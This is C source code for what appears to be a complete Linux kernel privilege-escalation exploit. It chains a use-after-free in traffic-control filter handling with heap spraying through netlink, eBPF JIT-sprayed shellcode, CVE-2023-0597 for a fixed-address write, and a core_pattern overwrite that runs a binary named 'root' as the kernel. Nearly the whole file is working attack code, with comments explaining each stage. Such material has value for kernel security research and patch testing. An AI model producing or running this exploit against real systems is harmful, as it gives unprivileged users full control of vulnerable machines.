#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <sys/ipc.h>
#include <sys/timerfd.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <err.h>
#include <sys/syscall.h>
#include <linux/aio_abi.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/sendfile.h>
#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1)   \
        err(1, "SYSCHK(" #x ")"); \
    __res;                        \
})

#define PAUSE           \
    {                   \
        printf(":");    \
        int x;          \
        read(0, &x, 1); \
    }
extern void write_to_cpu_entry_area(void *buf);
void handle(int s) {}
void set_cpu(int i)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}
int cfd[2];
int sfd[0x200][2];
char payload[0x1000];
char buf[0x1000];
struct sock_filter filter[0x1000];
int stopfd[2];

int sc(void)
{
    set_cpu(1);
    unsigned int prog_len = 0x900;
    /* In current environment, the max instructions in a program is near 0x900
    And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
    */
    struct sock_filter table[] = {
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};

/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
*/    

    for (int i = 0; i < prog_len; i++)
        filter[i] = table[0];

    filter[prog_len - 1] = table[1];
    int idx = prog_len - 2;

#include "sc.h"

    struct sock_fprog prog = {
        .len = prog_len,
        .filter = filter,
    };
    int fd[2];
    for (int k = 0; k < 0x50; k++)
    {
        if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit.
        {
            close(stopfd[1]);
            for (int i = 0; i < 0x100; i++)
            {
                SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
                SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)));
            }
            write(stopfd[0], buf, 1);
            read(stopfd[0], buf, 1);
            exit(0);
        }
    }
    /* wait for all forks to finish spraying BPF code */
    read(stopfd[1], buf, 0x50);
}
char POC[0x1000];

// the payload generated from `tc class delete dev lo classid 1:10`
// to generate payload from `tc` command, we can breakpoint at `netlink_sendmsg`
// after `tc` command is run, and we can dump the payload using this gdb command:
// dump binary memory /tmp/tc_del msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
// refs: https://man7.org/linux/man-pages/man7/rtnetlink.7.html https://wiki.slank.dev/book/types.html
size_t DEL[] = {
    0x0005002900000024, 0x00000000649bcb96,
    0x0000000100000000, 0x0001000000010010,
    0x0000000000000000};

// First we generate POC from https://storage.googleapis.com/syzkaller/cover/ci-qemu-upstream.html to reach ctnetlink_alloc_filter
// And then we handcraft it contains CTA_MARK (0x08) and CTA_MARK_MASK(0x15) with our control data 
// Make CTA_MARK's value become bswap(0x003df58) and CTA_MARK_MASK's value become bswap(0xfffffe00)
// So the final value stored in offset 0x60 will become 0xfffffe000003df5 
// 0xfffffe000003df5 is address at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry

size_t netlink_filter_payload[] = {
    0x0201010100000024, 0x0000000000000000, 0x0008000800000000, 0x0015000858df0300, 0x00feffff};

int check_core()
{
    // Check if /proc/sys/kernel/core_pattern has been overwritten
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(core, buf, sizeof(buf));
    close(core);
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
    int memfd = memfd_create("", 0);
    SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff));
    dup2(memfd, 666);
    close(memfd);
    while (check_core() == 0)
        sleep(1);
    /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
    *(size_t *)0 = 0;
}
void unshare_setup(uid_t uid, gid_t gid)
{
    int temp, ret;
    char edit[0x100];
    ret = unshare(CLONE_NEWNET | CLONE_NEWUSER);
    if (ret < 0)
    {
        perror("unshare");
    }
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int main(int argc, char **argv)
{
    if (fork() == 0) // this process is used to find our process by `pidof billy`
    {
        set_cpu(1);
        strcpy(argv[0], "billy");
        while (1)
            sleep(1);
    }
    if (fork() == 0) // this process is used to trigger core_pattern exploit
    {
        set_cpu(1);
        setsid();
        crash("");
    }
    setvbuf(stdout, 0, 2, 0);
    unshare_setup(getuid(), getgid());
    socketpair(AF_UNIX, SOCK_STREAM, 0, cfd);
    socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd);
    struct rlimit rlim = {
        .rlim_cur = 0xf000,
        .rlim_max = 0xf000};
    setrlimit(RLIMIT_NOFILE, &rlim);

    // iptables-legacy -t mangle -A POSTROUTING -d 127.0.0.1/24 -j MARK --set-mark 1
    {
        set_cpu(1);
        int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        int fd = open("./ip0", O_RDONLY);
        int n = read(fd, buf, 0x1000);
        setsockopt(s, 0, 64, buf, n);
        fd = open("./ip1", O_RDONLY);
        n = read(fd, buf, 0x1000);
        setsockopt(s, 0, 65, buf, n);
        set_cpu(0);
    }

    char *core = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
    strcpy(core, "|/proc/%P/fd/666"); // put payload string into known address which will used by ebpf shellcode

    int sp = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); // later use this socket to spray struct ctnetlink_filter 
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); // later use this socket to trigger vuln
    set_cpu(1);
    sc(); // spray ebpf program.
    set_cpu(0);

    /* 
    ip link set lo up
    tc qdisc add dev lo root handle 1: drr
    tc class add dev lo parent 1: classid 1:10 drr quantum 60
    tc filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
    tc filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:20 indev loo
    */
    /*
    generated using gdb command after breakpoint on netlink_sendmsg:
    dump binary memory /tmp/POC msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
    */
    {
        int poc_fd = open("./POC", O_RDONLY);
        read(poc_fd, POC, 0x1000);
        write(fd, POC, 0x1000);
    }
    
    write(fd, DEL, 0x24); // tc class delete dev lo classid 1:10
    
    // spray kmalloc-0x80 to reallocate.
    write(sp, netlink_filter_payload, 0x24);
    write(sp, netlink_filter_payload, 0x24);
    write(sp, netlink_filter_payload, 0x24);
    write(sp, netlink_filter_payload, 0x24);

    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(80),
        .sin_addr.s_addr = inet_addr("127.0.0.1"),
    };

    size_t fake_qdisc_struct[0x10] = {};
    
    /* Overwrite struct Qdisc's enqueue which is function ptr
    struct Qdisc {
    	int                        (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *); 
    	struct sk_buff *           (*dequeue)(struct Qdisc *); 
    	unsigned int               flags;
    */

    fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800;

    /*
    eBPF generated shellcode is lay in this range, we spray eBPF multiple times and summarize it's often near in this page.
    It's more reliabe we choose address in the middle of the page
    ffffffffa0000000 |-1536    MB | fffffffffeffffff | 1520 MB | module mapping space
    */

    int c = socket(AF_INET, SOCK_DGRAM, 0);

    if (fork() == 0) // Put payload in fixed kernel address (CVE-2023-0597)
    {
        set_cpu(1);
        signal(SIGFPE, handle);
        signal(SIGTRAP, handle);
        signal(SIGSEGV, handle);
        setsid();
        write_to_cpu_entry_area(fake_qdisc_struct);
    }
    sleep(1);
    /* Trigger Qdisc filter our packet and control kernel RIP */
    SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr)));
}
